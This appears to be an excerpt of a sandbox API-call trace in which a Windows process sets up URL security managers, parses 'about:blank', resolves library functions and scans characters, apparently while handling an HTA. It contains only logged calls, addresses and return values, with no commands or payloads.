[0194.508] IUri:GetPropertyDWORD (in: This=0x6cccbc, uriProp=0x11, pdwProperty=0x19ea4c, dwFlags=0x0 | out: pdwProperty=0x19ea4c*=0x11) returned 0x0
[0194.508] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x19ea1c, dwReserved=0x0 | out: ppSM=0x19ea1c*=0x6c0ae0) returned 0x0
[0194.508] IUnknown:QueryInterface (in: This=0x6c0ae0, riid=0x6dcd4ed8*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x19ea20 | out: ppvObject=0x19ea20*=0x6c0ae0) returned 0x0
[0194.509] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0194.509] IInternetSecurityManager:SetSecuritySite (This=0x6c0ae0, pSite=0x6420de4) returned 0x0
[0194.510] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0194.510] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.515] GetProcAddress (hModule=0x70a40000, lpProcName=0x208) returned 0x70a99f50
[0194.515] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19e9bc | out: lpflOldProtect=0x19e9bc*=0x4) returned 1
[0194.556] DllGetClassObject (in: rclsid=0x6ce868*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x19d900*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19cf4c | out: ppv=0x19cf4c*=0x6ed24fb0) returned 0x0
[0194.587] IUnknown:AddRef (This=0x6ed24fb0) returned 0x1
[0194.587] IUnknown:QueryInterface (in: This=0x6ed24fb0, riid=0x70a43cc8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19dbc0 | out: ppvObject=0x19dbc0*=0x6ed24fb0) returned 0x0
[0194.588] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0194.588] IUnknown:QueryInterface (in: This=0x6ed24fb0, riid=0x70a44794*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19dd58 | out: ppvObject=0x19dd58*=0x6ed24fbc) returned 0x0
[0194.588] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0194.589] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0
[0194.589] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6d2998
[0194.589] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2998 | out: hHeap=0x6b0000) returned 1
[0194.589] IUnknown:Release (This=0x6ed24fbc) returned 0x1
[0194.590] DllGetClassObject (in: rclsid=0x6ce868*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x70a43cc8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19dd08 | out: ppv=0x19dd08*=0x6ed24fb0) returned 0x0
[0194.590] IUnknown:QueryInterface (in: This=0x6ed24fb0, riid=0x70a44794*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19dd5c | out: ppvObject=0x19dd5c*=0x6ed24fbc) returned 0x0
[0194.590] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0194.590] IInternetProtocolInfo:ParseUrl (in: This=0x6ed24fbc, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x6c5578, cchResult=0xc, pcchResult=0x19dd74, dwReserved=0x0 | out: pwzResult="", pcchResult=0x19dd74*=0x0) returned 0x800c0011
[0194.590] IUnknown:Release (This=0x6ed24fbc) returned 0x1
[0194.601] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0194.601] IUnknown:Release (This=0x6cccbc) returned 0x3
[0194.601] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c4ee0
[0194.601] memcpy_s (in: _Destination=0x6c4ee0, _DestinationSize=0x10, _Source=0x19eae0, _SourceSize=0x10 | out: _Destination=0x6c4ee0) returned 0x0
[0194.602] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.602] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x19eab4, dwReserved=0x0 | out: ppSM=0x19eab4*=0x6c0260) returned 0x0
[0194.602] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c4f40
[0194.602] memcpy_s (in: _Destination=0x6c4f40, _DestinationSize=0x10, _Source=0x19eae0, _SourceSize=0x10 | out: _Destination=0x6c4f40) returned 0x0
[0194.602] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.603] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0194.603] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.604] GetProcAddress (hModule=0x70a40000, lpProcName=0x1bc) returned 0x70aac930
[0194.604] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ec34 | out: lpflOldProtect=0x19ec34*=0x4) returned 1
[0194.604] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0194.606] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.606] malloc (_Size=0xb0) returned 0x63067d0
[0194.607] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.607] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.607] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2000) returned 0x6d6a80
[0194.608] memcpy_s (in: _Destination=0x6d6a80, _DestinationSize=0x2000, _Source=0x19ec78, _SourceSize=0x4 | out: _Destination=0x6d6a80) returned 0x0
[0194.611] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0194.611] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x19eaa8 | out: ppURI=0x19eaa8*=0x6cccbc) returned 0x0
[0194.613] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0194.613] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.613] GetProcAddress (hModule=0x70a40000, lpProcName=0x209) returned 0x70a9a7a0
[0194.614] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19e9d8 | out: lpflOldProtect=0x19e9d8*=0x4) returned 1
[0194.614] DllGetClassObject (in: rclsid=0x6ce868*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x70a43cc8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19dca0 | out: ppv=0x19dca0*=0x6ed24fb0) returned 0x0
[0194.615] IUnknown:QueryInterface (in: This=0x6ed24fb0, riid=0x70a44794*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19dcf0 | out: ppvObject=0x19dcf0*=0x6ed24fbc) returned 0x0
[0194.615] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0194.615] IInternetProtocolInfo:ParseUrl (in: This=0x6ed24fbc, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x6c5498, cchResult=0xc, pcchResult=0x19dd00, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x19dd00*=0xc) returned 0x0
[0194.615] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0
[0194.615] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6d2a60
[0194.615] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2a60 | out: hHeap=0x6b0000) returned 1
[0194.615] IUnknown:Release (This=0x6ed24fbc) returned 0x1
[0194.616] DllGetClassObject (in: rclsid=0x6ce868*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x70a43cc8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19dca0 | out: ppv=0x19dca0*=0x6ed24fb0) returned 0x0
[0194.616] IUnknown:QueryInterface (in: This=0x6ed24fb0, riid=0x70a44794*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x19dcf4 | out: ppvObject=0x19dcf4*=0x6ed24fbc) returned 0x0
[0194.616] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0194.616] IInternetProtocolInfo:ParseUrl (in: This=0x6ed24fbc, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x6c5458, cchResult=0xc, pcchResult=0x19dd0c, dwReserved=0x0 | out: pwzResult="", pcchResult=0x19dd0c*=0x0) returned 0x800c0011
[0194.616] IUnknown:Release (This=0x6ed24fbc) returned 0x1
[0194.633] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0194.633] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0194.633] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6cccbc, dwAction=0x2106, pPolicy=0x19ea9c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x19ea7c | out: pPolicy=0x19ea9c*=0x0, pdwOutFlags=0x19ea7c*=0x0) returned 0x0
[0194.634] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0194.634] IUnknown:Release (This=0x6cccbc) returned 0x4
[0194.634] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.635] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.635] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.636] GetDoubleClickTime () returned 0x1f4
[0194.636] GetSystemMetrics (nIndex=36) returned 4
[0194.636] GetSystemMetrics (nIndex=37) returned 4
[0194.636] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.636] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.636] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.636] RtlInitializeConditionVariable () returned 0x64080b8
[0194.636] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.637] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.637] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.637] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.637] GetProcAddress (hModule=0x754b0000, lpProcName="CoTaskMemAlloc") returned 0x75509ed0
[0194.637] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ee68 | out: lpflOldProtect=0x19ee68*=0x4) returned 1
[0194.638] CoTaskMemAlloc (cb=0x1c) returned 0x6d2a88
[0194.638] QISearch (in: that=0x6408120, pqit=0x6dcc9ed8, riid=0x6dcc9ee8*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x64210b0 | out: that=0x6408120, ppv=0x64210b0*=0x6408120) returned 0x0
[0194.639] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.639] CoTaskMemAlloc (cb=0x1c) returned 0x6d2b28
[0194.639] QISearch (in: that=0x6408150, pqit=0x6dcc9ed8, riid=0x6dcc9ee8*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x64210b4 | out: that=0x6408150, ppv=0x64210b4*=0x6408150) returned 0x0
[0194.639] IUnknown:AddRef (This=0x6408150) returned 0x2
[0194.639] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.639] malloc (_Size=0xac) returned 0x6306888
[0194.639] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.640] malloc (_Size=0xac) returned 0x6306940
[0194.642] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x19ee94, lpTimeIncrement=0x19ee9c, lpTimeAdjustmentDisabled=0x19ee98 | out: lpTimeAdjustment=0x19ee94, lpTimeIncrement=0x19ee9c, lpTimeAdjustmentDisabled=0x19ee98) returned 1
[0194.642] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.642] malloc (_Size=0xa8) returned 0x63069f8
[0194.643] QueryPerformanceCounter (in: lpPerformanceCount=0x19ee4c | out: lpPerformanceCount=0x19ee4c*=3012938556664) returned 1
[0194.643] QueryPerformanceFrequency (in: lpFrequency=0x6ee390e8 | out: lpFrequency=0x6ee390e8*=100000000) returned 1
[0194.643] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.643] malloc (_Size=0xb8) returned 0x6306aa8
[0194.644] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.644] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.644] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.645] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.646] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x46) returned 0x6d4310
[0194.679] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x42) returned 0x6d43c8
[0194.679] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x56) returned 0x6d25c8
[0194.679] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.679] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.679] malloc (_Size=0xa4) returned 0x6306b68
[0194.680] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.680] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.680] IUnknown:Release (This=0x6ed24a4c) returned 0x1
[0194.682] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.697] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.698] LoadLibraryExA (lpLibFileName="OLEAUT32.dll", hFile=0x0, dwFlags=0x0) returned 0x76150000
[0194.698] GetProcAddress (hModule=0x76150000, lpProcName=0x9) returned 0x76169570
[0194.698] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fd04 | out: lpflOldProtect=0x19fd04*=0x4) returned 1
[0194.699] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.699] LoadLibraryExA (lpLibFileName="api-ms-win-downlevel-shlwapi-l2-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x748e0000
[0194.699] GetProcAddress (hModule=0x748e0000, lpProcName="IUnknown_QueryService") returned 0x7491fc30
[0194.700] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fd20 | out: lpflOldProtect=0x19fd20*=0x4) returned 1
[0194.700] IUnknown_QueryService (in: punk=0x6ee367a4, guidService=0x6dc965d4*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x6dcc0fb8*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x6420060 | out: ppvOut=0x6420060*=0x0) returned 0x80004005
[0194.700] IUnknown:QueryInterface (in: This=0x6ee367a4, riid=0x748e8260*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x19fd80 | out: ppvObject=0x19fd80*=0x6ee367b8) returned 0x0
[0194.700] IServiceProvider:QueryService (in: This=0x6ee367b8, guidService=0x6dc965d4*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x6dcc0fb8*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x6420060 | out: ppvObject=0x6420060*=0x0) returned 0x80004005
[0194.700] IUnknown:Release (This=0x6ee367b8) returned 0x1
[0194.701] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.713] IUnknown_QueryService (in: punk=0x6ee367a4, guidService=0x6dc96740*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x6dc96740*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvOut=0x19fd9c | out: ppvOut=0x19fd9c*=0x0) returned 0x80004005
[0194.713] IUnknown:QueryInterface (in: This=0x6ee367a4, riid=0x748e8260*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x19fd70 | out: ppvObject=0x19fd70*=0x6ee367b8) returned 0x0
[0194.713] IServiceProvider:QueryService (in: This=0x6ee367b8, guidService=0x6dc96740*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x6dc96740*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvObject=0x19fd9c | out: ppvObject=0x19fd9c*=0x0) returned 0x80004005
[0194.713] IUnknown:Release (This=0x6ee367b8) returned 0x1
[0194.714] IInternetSecurityManager:SetSecuritySite (This=0x6c0ae0, pSite=0x6420de4) returned 0x0
[0194.714] IUnknown:Release (This=0x6420de4) returned 0x0
[0194.714] IUnknown:AddRef (This=0x6420de4) returned 0x30
[0194.714] IUnknown:QueryInterface (in: This=0x6420de4, riid=0x70a44814*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x19fdac | out: ppvObject=0x19fdac*=0x6420de8) returned 0x0
[0194.714] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44b68*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x70a44b68*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0x6c0b14 | out: ppvObject=0x6c0b14*=0x0) returned 0x80004002
[0194.714] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44c28*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x70a44c28*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x6c0b10 | out: ppvObject=0x6c0b10*=0x0) returned 0x80004002
[0194.714] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44c38*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x70a44c38*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x6c0b0c | out: ppvObject=0x6c0b0c*=0x0) returned 0x80004002
[0194.714] IServiceProvider:QueryService (in: This=0x6420de8, guidService=0x70a44c18*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x70a44c18*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6c0b08 | out: ppvObject=0x6c0b08*=0x6ee367bc) returned 0x0
[0194.715] IUnknown:Release (This=0x6420de8) returned 0x0
[0194.715] CoTaskMemAlloc (cb=0x6d) returned 0x6d2628
[0194.715] CoTaskMemAlloc (cb=0x9) returned 0x6c5000
[0194.720] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c5018
[0194.725] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.733] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0
[0194.733] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.733] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c5090
[0194.734] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.734] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.734] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.734] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.734] memcpy_s (in: _Destination=0x641e230, _DestinationSize=0x8, _Source=0x6c501c, _SourceSize=0x6 | out: _Destination=0x641e230) returned 0x0
[0194.734] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.734] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.735] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.735] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.735] malloc (_Size=0xa8) returned 0x6306c18
[0194.735] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6d2b50
[0194.735] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.736] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.736] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.736] malloc (_Size=0xb0) returned 0x6306cc8
[0194.737] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x6d26a0
[0194.737] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x6d8cb0
[0194.740] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.740] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.741] GetProcAddress (hModule=0x75790000, lpProcName=0x1d) returned 0x757a6ff0
[0194.741] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fc44 | out: lpflOldProtect=0x19fc44*=0x4) returned 1
[0194.741] IsCharSpaceW (wch=0x48) returned 0
[0194.742] IsCharAlphaNumericW (ch=0x5c) returned 0
[0194.742] IsCharSpaceW (wch=0x5c) returned 0
[0194.742] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.743] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.744] IsCharSpaceW (wch=0x41) returned 0
[0194.744] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6c50c0
[0194.744] IsCharAlphaNumericW (ch=0x20) returned 0
[0194.744] IsCharSpaceW (wch=0x20) returned 1
[0194.744] IsCharSpaceW (wch=0x7b) returned 0
[0194.755] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6d2ba0
[0194.755] IsCharSpaceW (wch=0x20) returned 1
[0194.755] IsCharAlphaNumericW (ch=0x7b) returned 0
[0194.755] IsCharSpaceW (wch=0x62) returned 0
[0194.755] IsCharAlphaNumericW (ch=0x3a) returned 0
[0194.755] IsCharSpaceW (wch=0x3a) returned 0
[0194.756] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.756] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.756] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.757] IsCharAlphaNumericW (ch=0x3a) returned 0
[0194.757] IsCharSpaceW (wch=0x75) returned 0
[0194.757] IsCharAlphaNumericW (ch=0x28) returned 0
[0194.757] IsCharSpaceW (wch=0x28) returned 0
[0194.757] IsCharAlphaNumericW (ch=0x28) returned 0
[0194.757] IsCharSpaceW (wch=0x23) returned 0
[0194.769] IsCharSpaceW (wch=0x23) returned 0
[0194.769] IsCharSpaceW (wch=0x7d) returned 0
[0194.774] IsCharAlphaNumericW (ch=0x7d) returned 0
[0194.774] IsCharSpaceW (wch=0x29) returned 0
[0194.774] IsCharSpaceW (wch=0x75) returned 0
[0194.774] IsCharSpaceW (wch=0x75) returned 0
[0194.774] IsCharSpaceW (wch=0x29) returned 0
[0194.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x34) returned 0x6c2680
[0194.774] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.775] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d4700
[0194.775] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.775] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.775] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c50d8
[0194.775] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.775] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.775] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
